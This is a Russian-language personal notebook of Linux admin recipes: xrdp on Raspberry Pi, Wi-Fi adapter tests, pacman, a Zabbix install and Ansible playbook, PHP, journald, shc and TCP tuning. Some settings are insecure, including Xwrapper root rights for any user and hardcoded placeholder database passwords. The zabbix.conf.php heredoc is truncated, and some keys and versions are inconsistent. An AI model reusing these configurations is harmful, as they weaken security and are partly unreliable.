; true: an alias of all ; false: an alias of none ; yes: an alias of all RestrictInboundClipboard=none [Sessions] ;; X11DisplayOffset - x11 display number offset ; Type: integer ; Default: 10 X11DisplayOffset=10 ;; MaxSessions - maximum number of connections to an xrdp server ; Type: integer ; Default: 0 MaxSessions=50 ;; KillDisconnected - kill disconnected sessions ; Type: boolean ; Default: false ; if 1, true, or yes, every session will be killed within DisconnectedTimeLimit ; seconds after the user disconnects KillDisconnected=false ;; DisconnectedTimeLimit (seconds) - wait before kill disconnected sessions ; Type: integer ; Default: 0 ; if KillDisconnected is set to false, this value is ignored DisconnectedTimeLimit=0 ;; IdleTimeLimit (seconds) - wait before disconnect idle sessions ; Type: integer ; Default: 0 ; Set to 0 to disable idle disconnection. IdleTimeLimit=0 ;; Policy - session allocation policy ; Type: enum [ "Default" | "UBD" | "UBI" | "UBC" | "UBDI" | "UBDC" ] ; "Default" session per; "UBD" session per ; "UBI" session per ; "UBC" session per ; "UBDI" session per ; "UBDC" session per Policy=Default [Logging] ; Note: Log levels can be any of: core, error, warning, info, debug, or trace LogFile=xrdp-sesman.log LogLevel=INFO EnableSyslog=true #SyslogLevel=INFO #EnableConsole=false #ConsoleLevel=INFO #EnableProcessId=false [LoggingPerLogger] ; Note: per logger configuration is only used if xrdp is built with ; --enable-devel-logging #sesman.c=INFO #main()=INFO ; ; Session definitions - startup command-line parameters for each session type ; [Xorg] ; Specify the path of non-suid Xorg executable. It might differ depending ; on your distribution and version. Find out the appropriate path for your ; environment. The typical path is known as follows: ; ; Fedora 26 or later : param=/usr/libexec/Xorg ; Debian 9 or later : param=/usr/lib/xorg/Xorg ; Ubuntu 16.04 or later : param=/usr/lib/xorg/Xorg ; Arch Linux : param=/usr/lib/Xorg ; CentOS 7 : param=/usr/bin/Xorg or param=Xorg ; CentOS 8 : param=/usr/libexec/Xorg ; FreeBSD (from 2022Q4) : param=/usr/local/libexec/Xorg ; param=/usr/lib/xorg/Xorg ; Leave the rest parameters as-is unless you understand what will happen. param=-config param=xrdp/xorg.conf param=-noreset param=-nolisten param=tcp param=-logfile param=.xorgxrdp.%s.log [Xvnc] param=Xvnc param=-bs param=-nolisten param=tcp param=-localhost param=-dpi param=96 [Chansrv] ; drive redirection ; See sesman.ini(5) for the format of this parameter ;FuseMountName=/run/user/%u/thinclient_drives ;FuseMountName=/media/thinclient_drives/%U/thinclient_drives FuseMountName=remoute ; this value allows only the user to access their own mapped drives. ; Make this more permissive (e.g. 022) if required. ;FileUmask=077 ; Can be used to disable FUSE functionality - see sesman.ini(5) ;EnableFuseMount=false ; Uncomment this line only if you are using GNOME 3 versions 3.29.92 ; and up, and you wish to cut-paste files between Nautilus and Windows. Do ; not use this setting for GNOME 4, or other file managers UseNautilus3FlistFormat=true [ChansrvLogging] ; Note: one log file is created per display and the LogFile config value ; is ignored. The channel server log file names follow the naming convention: ; xrdp-chansrv.${DISPLAY}.log ; ; Note: Log levels can be any of: core, error, warning, info, debug, or trace LogLevel=INFO EnableSyslog=true #SyslogLevel=INFO #EnableConsole=false #ConsoleLevel=INFO #EnableProcessId=false [ChansrvLoggingPerLogger] ; Note: per logger configuration is only used if xrdp is built with ; --enable-devel-logging #chansrv.c=INFO #main()=INFO [SessionVariables] PULSE_SCRIPT=/etc/xrdp/pulse/default.pa
xrdp белый экран raspberry pi
https://bbs.archlinux.org/viewtopic.php?id=277905 https://askubuntu.com/questions/1209300/remote-desktop-on-raspberrypi-not-working https://raspberrypi.stackexchange.com/questions/133425/connection-problem-giving-up-on-xrdp-with-raspberry-pi-os-11-bullseye https://github.com/neutrinolabs/xrdp/issues/2053 #Не очевидное решение проблемы белого экрана на raspberry https://github.com/neutrinolabs/xrdp/wiki/Tips-and-FAQ#why-cant-i-log-the-same-user-on-on-the-graphical-console-and-over-xrdp-at-the-same-time Вариант 0: СМОТРИМ ЛОГИ!!! cat /var/log/xrdp-sesman.log В каталоге пользователя: cat .xorgxrdp.*.log cat .xsession cat .xsession-errors Смотрим при подключении: journalctl -f Вариант первый: !!! На малине в принципе все начинает работать сразу из коробки и настройка не требуется. apt install -y xrdp Вариант второй: Чтобы решить эту проблему "второй сессии" и разрешить столько сессий, сколько вам нужно, отредактируйте /etc/xrdp/startwm.sh и добавьте эти строки перед строками, которые проверяют и запускают Xsession. $HOME/.profile не является частью решения, но это то, что должно быть запущено перед началом сессии в любом случае. unset DBUS_SESSION_BUS_ADDRESS unset XDG_RUNTIME_DIR . $HOME/.profile Вариант третий: Еще в борьбе с белым экраном предлагают удалить пользователя из группы video и render sudo gpasswd -dvideo sudo gpasswd -d render Вариант четвертый: Eще скрипт установки у людей на raspberry pi # Install updates sudo apt update sudo apt upgrade -y # Install and configure xRDP sudo apt install -y xrdp sudo systemctl enable xrdp sudo sed -i 's/"DRMDevice" "[[:alnum:]/]+"/"DRMDevice" ""/g' /etc/X11/xrdp/xorg.conf sudo gpasswd -d $USER video # Reboot the machine sudo reboot Вариант пятый: P.s. Многие пишут что вообще ничего не трогают и все работает кто то удаляет из группы video и тоже начинает работать а самое главное вообще не трогают startwm.sh Вариант шестой: apt-get install xserver-xorg-legacy vim /etc/X11/Xwrapper.config ---------------------------- allowed_users=anybody needs_root_rights=yes ---------------------------- Вариант седьмой: Ошибки dbus Ставим: sudo apt install dbus-x11 От пользователя выполняем: dbus-launch Вариант восьмой: https://forums.raspberrypi.com/viewtopic.php?t=387334 Включаем X Activate X11 Server over Wayland on raspi-config utility That's important Редактируем файл: Edit /etc/X11/xrdp/xorg.conf Section "Screen" Identifier "Screen (xrdpdev)" Device "Video Card (xrdpdev)" GPUDevice "Video Card (xrdpdev)" <-- Add this to section... Monitor "Monitor"
Инфо:
Стенд для тестирования: две raspbery pi 3 b+ Образ: https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2024-03-15/2024-03-15-raspios-bookworm-arm64-lite.img.xz?_gl=1*165vafp*_ga*ODA4NzkwOTMwLjE3MTE2OTg2NzI.*_ga_22FD70LWDS*MTcxMTcxNjk3NC4xLjEuMTcxMTcxNjk4MC4wLjAuMA Для удобства использовался интерфейс управления точками доступа: https://raspap.com/ Расстояние от точек ~0.5 метра
Wi-Fi адаптер DEXP WFA-301
https://www.dns-shop.ru/product/f849646f3c6b3330/wi-fi-adapter-dexp-wfa-301/?utm_referrer=https%3A%2F%2Fwww.dns-shop.ru%2Fproduct%2Ff849646f3c6b3330%2Fwi-fi-adapter-dexp-wfa-301%2Fcharacteristics%2F%3Futm_medium%3Dorganic%26utm_source%3Dgoogle%26utm_referrer%3Dhttps%253A%252F%252Fwww.google.com%252F Драйвер rtl8192eu не понятно как работает работает только в 2.4 максимальная скорость 30Mbit/s TCP цена 450р в днс
Wi-Fi Адаптер USB WiFi до 600 Мбит/с для ПК, ноутбука
https://www.ozon.ru/product/adapter-usb-wifi-do-600-mbit-s-dlya-pk-noutbuka-1070541266/ Не работает в N (подключение есть \ скорости нет) Работает в AС 80-100 Mbit/s Драйвер 8821cu https://github.com/morrownr/8821cu-20210916?tab=readme-ov-file Цена 477р
Wi-Fi адаптер 5 ГГц / 2.4 ГГц; двухдиапазонный, с антенной, 600Мбит/c
https://www.ozon.ru/product/wi-fi-adapter-5-ggts-2-4-ggts-dvuhdiapazonnyy-s-antennoy-600mbit-c-902102790/?reviewsVariantMode=2 Работает N 40 Mbit/s Работает AC 115 Mbit/s Драйвер 8821cu https://github.com/morrownr/8821cu-20210916?tab=readme-ov-file Цена 444 Хорошо работает, вроде не разваливается, но драйверы кривые, спамят в dmesg. В целом лучшая карточка, работает 2.4Ghz, 5Ghz, умеет в AP Краткая инструкция как ставить: apt update apt install build-essential git dkms bc apt install linux-headers-generic cd /opt git clone https://github.com/morrownr/8821cu-20210916.git cd 8821cu-20210916 sudo ./install-driver.sh
Wi-Fi-адаптер Wi-fi 150 Mbps 2.4ГГц usb 2.0
https://www.ozon.ru/product/wi-fi-adapter-wi-fi-150-mbps-2-4ggts-usb-2-0-1417541689/ В AP не работает. Самое дешевое барахло. Цена 243р
Wi-Fi адаптер 2.4 ГГц чип Realtek RTL8188FTV 802.11 n (b g n) BATTUTRU
Не умеет в AP Драйвер RTL8188EU Цена 295р
Обновление системы:
pacman -Syu - Полное обновление системы: синхронизирует базы данных пакетов и обновляет все установленные пакеты до последних версий. pacman -Sy - Синхронизирует базы данных пакетов (обновляет список доступных пакетов), но не устанавливает обновления. pacman -Su - Обновляет установленные пакеты до последних версий (без синхронизации баз). pacman -Syu - стандартная команда для поддержания системы в актуальном состоянии.
Установка пакетов:
pacman -S <имя_пакета> - Устанавливает указанный пакет и его зависимости. pacman -S <пакет1> <пакет2> - Устанавливает несколько пакетов за раз. Пример: pacman -S htop - устанавливает утилиту htop для мониторинга процессов.
Удаление пакетов:
pacman -R <имя_пакета> - Удаляет указанный пакет, оставляя его зависимости. pacman -Rs <имя_пакета> - Удаляет пакет и его зависимости, если они больше никому не нужны. pacman -Rns <имя_пакета> - Удаляет пакет, зависимости и их конфигурационные файлы (более полное удаление). Пример: pacman -Rs htop — удаляет htop и ненужные зависимости.
Поиск пакетов:
pacman -Ss <ключевое_слово> - Ищет пакеты по ключевому слову в репозиториях (включая описание). pacman -Qs <ключевое_слово> - Ищет установленные пакеты по ключевому слову. Пример: pacman -Ss firefox — ищет пакеты, связанные с Firefox.
Информация о пакетах:
pacman -Si <имя_пакета> - Показывает информацию о пакете из репозитория (версия, зависимости и т.д.). pacman -Qi <имя_пакета> - Показывает информацию об уже установленном пакете. Пример: pacman -Qi htop — выводит данные об установленном htop.
Очистка системы:
pacman -Sc - Удаляет кэш загруженных пакетов, оставляя только установленные версии. pacman -Scc - Полностью очищает кэш пакетов. pacman -Rns $(pacman -Qdtq) - Удаляет "осиротевшие" пакеты (зависимости, которые больше не нужны). Пример: pacman -Scc — освобождает место, удалив весь кэш.
Работа с зависимостями и конфликтами:
pacman -Syu --ignore <имя_пакета> - Обновляет систему, игнорируя указанный пакет. pacman -S --overwrite <файл> - Устанавливает пакет, перезаписывая конфликтующие файлы. Пример: pacman -Syu --ignore icu — обновляет систему, пропуская пакет icu.
Проверка системы:
pacman -Q - Показывает список всех установленных пакетов. pacman -Qe - Показывает только явно установленные пакеты (не зависимости). pacman -Qdt - Показывает осиротевшие пакеты. Пример: pacman -Qe — полезно, чтобы понять, что ты сам устанавливал.
Дополнительные полезные флаги:
--noconfirm - Подтверждает все действия автоматически (без вопросов "y/n"). --needed - Не переустанавливает уже установленные пакеты. Пример: pacman -S htop --noconfirm — устанавливает htop без подтверждения.
Практическая последовательность для новичка:
Обнови систему: pacman -Syu Установи нужное: pacman -S <пакет> Проверь установленные пакеты: pacman -Qe Удали ненужное: pacman -Rs <пакет> Очисти осиротевшие зависимости: pacman -Rns $(pacman -Qdtq) Полностью очищает кэш пакетов и освобождает место: pacman -Scc
Ссылки:
https://www.zabbix.com/download?zabbix=7.0&os_distribution=debian&os_version=12&components=server_frontend_agent&db=mysql&ws=apache
install
0. Качаем и ставим пакет: wget https://repo.zabbix.com/zabbix/7.0/debian/pool/main/z/zabbix-release/zabbix-release_latest_7.0+debian12_all.deb dpkg -i zabbix-release_latest_7.0+debian12_all.deb apt update 1. Ставим пакеты: apt install zabbix-server-mysql zabbix-frontend-php zabbix-apache-conf zabbix-sql-scripts zabbix-agent 2. Создаем базу: mysql -uroot -p --------------- create database zabbix character set utf8mb4 collate utf8mb4_bin; create user zabbix@localhost identified by 'password'; grant all privileges on zabbix.* to zabbix@localhost; set global log_bin_trust_function_creators = 1; quit; ---------------- 3. Заливаем базу zabbix: zcat /usr/share/zabbix-sql-scripts/mysql/server.sql.gz | mysql --default-character-set=utf8mb4 -uzabbix -p zabbix 4. Отключите опцию log_bin_trust_function_creators после импорта схемы базы данных. mysql -uroot -p --------------- set global log_bin_trust_function_creators = 0; quit; --------------- 5. Редактируем конфиг и пароль для базы: vim /etc/zabbix/zabbix_server.conf ---------------------------------- DBPassword=password ---------------------------------- 6. Запускаем zabbix systemctl restart zabbix-server zabbix-agent apache2 systemctl enable zabbix-server zabbix-agent apache2
Пример ansible book
mkdir prod
cd prod
cat > install_zabbix_7.yaml << "EOF"
---
- name: Install Zabbix vesrion 7 on server Debian 12
hosts: all
become: yes
vars:
mysql_root_password: "password"
ansible_fqdn: zabbix
destin_file_cnf: /root/.my.cnf
source_file_cnf: ./my.cnf
zabbix_user: "zabbix"
zabbix_password: "zabbix"
zabbix_db: "zabbix"
zabbix_host: "localhost"
zabbix_priv: "{{ zabbix_db }}.*:ALL"
destin_conf: /usr/share/zabbix/conf/zabbix.conf.php
source_conf: ./zabbix.conf.php
tasks:
- name: Update apt repo and cache on all Debian/Ubuntu boxes
apt: update_cache=yes force_apt_get=yes cache_valid_time=3600
- name: Upgrade all packages on servers
apt: upgrade=dist force_apt_get=yes
- name: Install a .deb package from the internet
apt:
deb: https://repo.zabbix.com/zabbix/7.0/debian/pool/main/z/zabbix-release/zabbix-release_latest_7.0+debian12_all.deb
- name: Run the equivalent of "apt-get update" as a separate step
apt:
update_cache: yes
cache_valid_time: 3600
- name: Install a list of packages
apt:
pkg:
- zabbix-server-mysql
- zabbix-frontend-php
- zabbix-apache-conf
- zabbix-agent
- mariadb-server
- python3-apt
- python3
- python3-pip
- python3-setuptools
- python3-pymysql
- zabbix-agent
- zabbix-sql-scripts
state: latest
update_cache: True
- name: Copy file cnf to Servers
copy: src={{ source_file_cnf }} dest={{ destin_file_cnf }} mode=0600 owner=root group=root backup=yes
- name: Edit line password
lineinfile:
path: /root/.my.cnf
state: present
regexp: '^password='
line: 'password="{{ mysql_root_password }}"'
- name: Remove the test database
mysql_db:
login_unix_socket: /var/run/mysqld/mysqld.sock
name: test
state: absent
- name: Remove anonymous user
mysql_user:
login_unix_socket: /var/run/mysqld/mysqld.sock
name: ''
state: absent
- name: Sets the root password
mysql_user:
login_unix_socket: /var/run/mysqld/mysqld.sock
user: root
password: "{{ mysql_root_password }}"
host: localhost
- name: "Create new databases with names {{ zabbix_user }}"
mysql_db:
login_unix_socket: /var/run/mysqld/mysqld.sock
name: "{{ zabbix_user }}"
encoding: utf8
collation: utf8_bin
state: present
- name: "Add user and add privilege for {{ zabbix_db }}"
mysql_user:
login_unix_socket: /var/run/mysqld/mysqld.sock
login_host: "localhost"
name: "{{ zabbix_db }}"
password: "{{ zabbix_password }}"
host: "localhost"
priv: "{{ zabbix_priv }}"
state: present
append_privs: yes
- name: Importing databases
mysql_db:
name: "{{ zabbix_db }}"
login_user: "{{zabbix_user}}"
login_host: localhost
login_password: "{{ zabbix_password }}"
config_file: no
state: import
encoding: utf8
collation: utf8_bin
target: "/usr/share/zabbix-sql-scripts/mysql/server.sql.gz"
- name: Edit line db_password for zabbix-server
lineinfile:
path: /etc/zabbix/zabbix_server.conf
state: present
regexp: '^DBPassword='
line: 'DBPassword={{ zabbix_password }}'
- name: Edit line time zone
lineinfile:
path: /etc/zabbix/apache.conf
state: present
regexp: '^php_value date.timezone Europe/Riga'
line: 'php_value date.timezone Europe/Moscow'
- name: Copy file conf php to server zabbix
copy: src={{ source_conf }} dest={{ destin_conf }} mode=0644 owner=root group=root backup=yes
- name: Service zabbix restart and add autostart
shell: systemctl restart zabbix-server zabbix-agent apache2 && systemctl enable zabbix-server zabbix-agent apache2
...
EOF
cat > my.cnf << "EOF"
[client]
user="root"
password=mysql_root_password
EOF
cat > hosts.txt << "EOF"
localhost ansible_connection=local
EOF
cat > ansible.cfg << "EOF"
[defaults]
#interpreter_python = /usr/bin/python3
host_key_cheking = false
allow_world_readable_tmpfiles= true #bug mysql import
inventory = ./hosts.txt
forks = 10
timeout = 10
log_path = ./ansible.log
pipelining = True
EOF
cat > zabbix.conf.php << "EOF"
'http://localhost:9200',
// 'text' => 'http://localhost:9200'
//];
// Value types stored in Elasticsearch.
//$HISTORY['types'] = ['uint', 'text'];
// Used for SAML authentication.
// Uncomment to override the default paths to SP private key, SP and IdP X.509 certificates, and to set extra settings.
//$SSO['SP_KEY'] = 'conf/certs/sp.key';
//$SSO['SP_CERT'] = 'conf/certs/sp.crt';
//$SSO['IDP_CERT'] = 'conf/certs/idp.crt';
//$SSO['SETTINGS'] = [];
EOF
Объяснение плейбука:
Скачивание и установка пакета Zabbix: Используется модуль apt для установки пакета.
Обновление списка пакетов: Обновляет кэш пакетов.
Установка необходимых пакетов Zabbix: Устанавливает все необходимые пакеты.
Создание базы данных Zabbix: Использует модуль mysql_db для создания базы данных.
Создание пользователя Zabbix: Использует модуль mysql_user для создания пользователя и предоставления ему прав.
Установка параметра log_bin_trust_function_creators: Устанавливает переменную MySQL.
Импорт схемы базы данных Zabbix: Выполняет команду для импорта схемы.
Отключение опции log_bin_trust_function_creators: Устанавливает переменную обратно.
Редактирование конфигурационного файла Zabbix: Использует модуль lineinfile для изменения конфигурации.
Перезапуск Zabbix: Перезапускает службы Zabbix и Apache.
Запуск плейбука:
!!! отредактируй строку в пдлейбуке "hosts: your_target_hosts # Replace with your target host group"
!!! например: hosts: all или укажи конкретный хост hosts: you_host
ansible-playbook install_zabbix_7.yaml
a2enmod ssl
Ссылки:
https://synay.net/support/kb/installing-multiple-versions-php-73-74-81-82-debian-12How To Install PHP (8.3, 8.2 or 7.4) on Debian 12
sudo apt install -y apt-transport-https lsb-release ca-certificates wget
wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | sudo tee /etc/apt/sources.list.d/php.list
Вместо packages.sury.org пишем packages.sury.su и все будет работать из РФ.
Если нам нужна версия php 8.2 выполним ее установку:
apt install php8.2
Для установки php 8.1 выполним установку:
apt install php8.1
Для установки php 7.4 выполним установку:
apt install php7.4
Для установки php 7.3 выполним установку:
apt install php7.3
Для выбора версии:
update-alternatives --set php /usr/bin/phpX.X
update-alternatives --set php /usr/bin/php7.4
Проверка версии:
php -v
Переключить php для апач:
a2dismod php8.2
a2enmod php7.2
systemctl restart apache2
Возможно придется еще доставить:
#apt install php-intl php-zip php-xm curl php-curl php-mbstring
apt install php7.2 libapache2-mod-php7.2 php7.2-{mysql,intl,curl,json,gd,xml,zip}
apt install php7.2-mbstring
systemctl stop apache2
systemctl start apache2
MPTCP (Multipath TCP) Multipath TCP позволяет одному TCP-соединению использовать несколько физических каналов для передачи данных. Это означает, что ваш клиент может одновременно поддерживать соединение через несколько точек доступа (с разными IP-адресами), и весь трафик будет распределен по этим соединениям, увеличивая общую пропускную способность. Как работает MPTCP: MPTCP добавляет несколько путей к одному TCP-соединению, поэтому даже если один из путей теряет соединение (например, при отключении от точки доступа), остальные остаются активными, что снижает риск обрыва. Клиенты могут одновременно подключаться к нескольким точкам доступа, и MPTCP динамически распределяет трафик между ними на уровне TCP. Это особенно полезно для устройств, которые перемещаются между несколькими сетями или точками доступа, как в вашем случае с автомобилями. Проверка: sysctl net.mptcp.enabled ss -M dmesg | grep MPTCP !!! Начиная с версии ядра 5.6, MPTCP был интегрирован в ядро Linux. Пример использования mptcpize для curl: apt install mptcp-tools mptcpize curl http://example.com echo "net.mptcp.enabled = 1" | sudo tee -a /etc/sysctl.conf echo "net.mptcp.mptcp_path_manager=fullmesh" | sudo tee -a /etc/sysctl.conf echo "net.mptcp.mptcp_subflows=4" | sudo tee -a /etc/sysctl.conf sudo sysctl -p
Ссылки:
Journald. Шпаргалка по работе с journalctl.https://habr.com/ru/companies/ruvds/articles/533918/ https://wiki.archlinux.org/title/Systemd/Journal https://wiki.archlinux.org/title/Systemd_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)/Journal_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)
Самый простой и стандартный случай случай
0. Редактируем конфиг: vim /etc/systemd/journald.conf ------------------------------ Storage=persistent SystemMaxUse=1G # Настройте размер, сколько примерно хотите использовать ------------------------------ 1. Перезапускаем демон systemctl restart systemd-journald
Как может быть на устройстве загрузившегося с сд карты
0. Первым делом проверяем катало /var/log и файл /etc/fstab
Проверяем и заодно сколько места
df -h /var/log
--------------
Filesystem Size Used Avail Use% Mounted on
tmpfs 1.9G 1.3M 1.9G 1% /var/volatile
--------------
Проверяем нет ли у нас монтирования в "/var/volatile" (собственно мы это уже увидели в команде df)
cat /etc/fstab
--------------
# stock fstab - you probably want to override this with a machine specific one
/dev/root / auto defaults 1 1
proc /proc proc defaults 0 0
devpts /dev/pts devpts mode=0620,ptmxmode=0666,gid=5 0 0
tmpfs /run tmpfs mode=0755,nodev,nosuid,strictatime 0 0
#tmpfs /var/volatile tmpfs defaults 0 0 < ------------ вот эту строку комментируем так как это и есть наша проблема
# uncomment this if your device has a SD/MMC/Transflash slot
#/dev/mmcblk0p1 /media/card auto defaults,sync,noauto 0 0
--------------
1.Редактируем файл если ошибка при выполнении команды "systemd-tmpfiles --create --prefix /var/log/journal"
Пример ошибки
systemd-tmpfiles --create --prefix /var/log/journal
---------------------------------------------------
/usr/lib/tmpfiles.d/dbus.conf:13: Line references path below legacy directory /var/run/, updating /var/run/dbus/containers → /run/dbus/containers; please update the tmpfiles.d/ drop-in file accordingly.
---------------------------------------------------
vim /usr/lib/tmpfiles.d/dbus.conf
Найдите строку, которая содержит путь /var/run/dbus/containers, и замените её на новый путь /run/dbus/containers.
---------------------------------
# Fields: type; path; mode; uid; gid; age; argument (symlink target)
# Make ${localstatedir}/lib/dbus (required for systemd < 237)
# Adjust mode and ownership if it already exists.
d /var/lib/dbus 0755 - - -
# Make ${localstatedir}/lib/dbus/machine-id a symlink to /etc/machine-id
# if it does not already exist
L /var/lib/dbus/machine-id - - - - /etc/machine-id
# Create ${runstatedir}/dbus/containers owned by the system bus user.
# org.freedesktop.DBus.Containers1 uses this to create sockets.
#d /var/run/dbus/containers 0755 messagebus - - - <------------- Вот эта строка мы ее закомментируем (поставили в начале "#")
d /run/dbus/containers 0755 root root - <------------- Вот эту добавим
----------------------------------
2. Выполняем перезагрузку устройства
reboot
3. Проверяем что наши правки fstab сработали
df -h /var/log
--------------
Filesystem Size Used Avail Use% Mounted on
/dev/root 29G 26G 1.8G 94% / <---------------- Вот видим что каталог /var/log точка его монтирования корень диска
4. Приступаем к настройки systemd-journald
mkdir -p /var/log/journal
systemd-tmpfiles --create --prefix /var/log/journal
chown root:systemd-journal /var/log/journal
systemctl restart systemd-journald
5. Перезагружаем устройство несколько раз и убеждаемся что логи теперь сохраняются
ls -l /var/log/journal
journalctl -b 0
journalctl -b 1
journalctl -b 2
journalctl --list-boot
--------------
хз может пригодится
systemctl disable nexuscli.service systemctl disable node-backend.service systemctl disable node-frontend.service systemctl stop nexuscli.service systemctl stop node-backend.service systemctl stop node-frontend.service journalctl --vacuum-size=1000M journalctl --vacuum-time=2weeks Вариант загружать конфиг systemd-journald из другого файла systemctl show systemd-journald.service -p FragmentPath -p DropInPaths mkdir -p /etc/systemd/system/systemd-journald.service.d vim /etc/systemd/system/systemd-journald.service.d/override.conf ---------------------------------------------------------------- [Service] Environment=SYSTEMD_JOURNALD_STORAGE=persistent ---------------------------------------------------------------- systemctl daemon-reload systemctl restart systemd-journald
shc / bash script / bin
Инфо:
SHC – это компилятор оболочки скрипта. http://www.datsi.fi.upm.es/~frosal/sources/ https://github.com/neurobin/shc https://pkg.go.dev/github.com/tianluanchen/go-shc https://pkg.go.dev/github.com/tianluanchen/go-shc/shc
Сборка:
0. cd /opt wget http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.9.tgz tar xvfz shc-3.8.9.tgz cd shc-3.8.9 make Проверяем: ./shc -v 1. Для изменения директории установки нужно отредактировать makefile vim makefile 2. Для установки в систему make install
Пример:
0. Создаем файл ./shc -f random.sh random.sh – это оригинальный незашифрованный скрипт random.sh.x – зашифрованный скрипт оболочки в двоичном формате random.sh.x.c является исходным кодом C файла random.sh. Этот исходный код C скомпилирован для создания вышеупомянутого зашифрованного файла random.sh.x. Вся логика shc заключается в том, чтобы преобразовать скрипт shell.sh в программу random.sh.x.c C (и, конечно же, скомпилировать это для генерации исполняемого файла random.sh.x) 1. Указание даты истечения срока действия для скрипта вашей оболочки ./shc -e 31/12/2011 -f random.sh 2. Описание параметров: -e и -m (для истечения срока действия), вы также можете использовать следующие параметры -r будет ослаблять безопасность для создания распределяемого двоичного файла, который выполняется на других системах, которые работают с той же операционной системой, что и та, на которой он был скомпилирован. -T позволит создавать созданные двоичные файлы с помощью таких программ, как strace, ltrace и т. д. -v для подробностей -o куда сгенерировать Как правило, вы можете использовать оба параметра -r и -T для создания распространяемого и прослеживаемого shell-скрипта оболочки. 3. Чаще всего используют с ключами rvf и о shc -vrf script.sh -o script - в последней версии нету -o shc -vrTf script.sh - будет создан файл script.sh.x
ссылки:
https://habr.com/ru/articles/168407/ https://habr.com/ru/articles/331720/ https://habr.com/ru/companies/otus/articles/550820/ https://habr.com/ru/articles/115527/RTT Calculatorhttps://www.opennet.ru/base/net/tcp_tune.txt.html
Алгоритмы:
BIC TCP CUBIC TCP Highspeed TCP H-TCP TCP Hybla TCP-Illinois TCP Low Priority TCP Vegas TCP NewReno TCP Veno TCP Westwood+ YeAH-TCP BBR BIC, CUBIC, Highspeed, H-TCP, NewReno, Illinois - эти алгоритмы созданы для так называемых long fat networks — длинных (а значит, с высоким RTT) и быстрых сетей. TCP Hybla - здорово ведет себя на спутниковых линках. Veno - создан для беспроводных сетей с высокой потерей пакетов. TCP Low Priority - вообще сложно назвать congestion алгоритмом, т.к. он мало что делает, а просто пытается отправить пакет без очереди. TCP Vegas - иногда применяют на серверах с большим количеством подключений т.к. он обеспечивает почти постоянную скорость, хоть и далеко не идеальную. Westwood+ - комбинированный алгоритм YeAH-TCP - молодой, ведет себя более-менее во всех случаях. CUBIC, который используется по умолчанию во всех дистрибутивах, совершенно не подходит, например, для 3G-соединений На каналах вроде домашнего вайфая, рекомендую использовать Westwood или H-TCP. Для проводных каналов хорошим выбором может быть YeAH (если у вас не наблюдается с ним проблем), H-TCP или Illinois. рекомендации: net.ipv4.tcp_fastopen=1 - Ускоряет а handshake для поддерживаемых алгоритмов net.ipv4.tcp_slow_start_after_idle=0 - Добавит скорости для SPDY и других keep-alive соединений
ethtool
Длина очереди передачи. В современных сетях для 1G используется значение 1000, для 10G используется значение 10000. ifconfig eth0 txqueuelen 1000 Отключаем checksum offload для правильной работы шейперов ethtool --offload eth0 rx off tx off Отключаем аппаратную поддержку 802.1q ethtool -K eth0 rxvlan off txvlan off Увеличивает размер буфера, чтобы избежать дропов. Убедитесь, что ваша сетевая поддерживает такой размер буфера выполнив ethtool -g ethX ethtool -G eth0 rx 2048 tx 2048 Отключает авто определение скорости порта ethtool -A eth0 autoneg off rx off tx off Отключим оффлоады для лучшей производительности TCP ethtool -K eth0 tso off gso off gro off lro off Flow control автосогласование Advertised pause frame use "Advertised pause frame use" и "Link partner advertised pause frame use" указывают на режим управления потоком. Если они установлены в Symmetric, то управление потоком включено. Если установлено No, то оно выключено. Проверяем: ethtool -a eth0 чтобы включить ethtool -A eth0 autoneg on rx on tx on
Лимиты:
ulimit -a - Показать текущие лимиты Пример установки лимитов: ulimit -n 30000 Некоторые приложения (Proxy, Web сервера, базы данных) используют большие количества открытых файлов и сокетов, и как правило, установок по умолчанию им недостаточно. Оболочка/скрипт За лимиты оболочки отвечает ulimit. Текущее состояние можно проверить ulimit -a. Например, что-бы увеличить кол-во открытых файлов с 1024 до 10240 нужно сделать: ulimit -n 10240 пользователь/процесс Лимиты пользователей и процессов устанавливаются в /etc/security/limits.conf. Например: # cat /etc/security/limits.conf * hard nproc 250 # Лимит пользовательских процессов asterisk hard nofile 409600 # Лимит открытых файлов для приложения Обще системные лимиты устанавливаются командой Sysctl. Большинство этих переменных, действуют до перезагрузки, что-бы ограничения остались после ребута, внесите их в файл /etc/sysctl.conf. сat /etc/sysctl.conf # Показать файл sysctl -a # Показать все системные переменные sysctl fs.file-max # Показать текущие значения sysctl -w fs.file-max=102400 # Изменить максимальное кол-во открытых файлов fs.file-max=102400 # Постоянное значение в файле sysctl.conf cat /proc/sys/fs/file-nr # Кол-во используемых файловых дескрипторов
sysctl
Маршрутизация между интерфейсами, по умолчанию выключена net.ipv4.ip_forward=0 net.ipv4.ip_forward=1 Принцип фильтрования в rp_filter: Если ответ на текущий пакет не может уйти через тот же интерфейс (когда приходит через один интерфейс, а уходит через другой), пакет отфильтровывается. По умолчанию равно 2 net.ipv4.conf.all.rp_filter = 1 Обычно меняю на 0 или 1 при использовании двух шлюзов ---------------------------- net.ipv4.conf.default.rp_filter=1 net.ipv4.conf.all.rp_filter=1 net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1 ---------------------------- !!! Современные дистрибутивы автоматически настраивают оптимальные параметры сетевой карты ###Для хоста с сетевым адаптером 10G, оптимизированного для сетевых путей с RTT до 100 мс и для удобства работы с инструментами одиночного и параллельного потока # устанавливаем буферами до 64 МБ net.core.rmem_max = 67108864 net.core.wmem_max = 67108864 # увеличить лимит буфера TCP автонастройки net.ipv4.tcp_rmem = 4096 87380 33554432 net.ipv4.tcp_wmem = 4096 65536 33554432 # рекомендуемый контроль перегрузки по умолчанию / recommended default congestion control is htcp # на 2023 дефолт cubic # для проверки доступных sysctl -a | grep congestion net.ipv4.tcp_congestion_control=htcp #net.ipv4.tcp_congestion_control=veno #net.ipv4.tcp_congestion_control=cubic #net.ipv4.tcp_congestion_control=bbr # Если включены "jumbo frames" то "tcp_mtu_probing" также следует включить net.ipv4.tcp_mtu_probing=1 # Тип очереди Рекомендуется включить "fair queueing/справедливую очередь" net.core.default_qdisc = fq Для хоста с сетевым адаптером 10G, оптимизированным для сетевых путей с RTT до 200 мс и для совместимости с инструментами одиночного и параллельного потока, или с сетевым адаптером 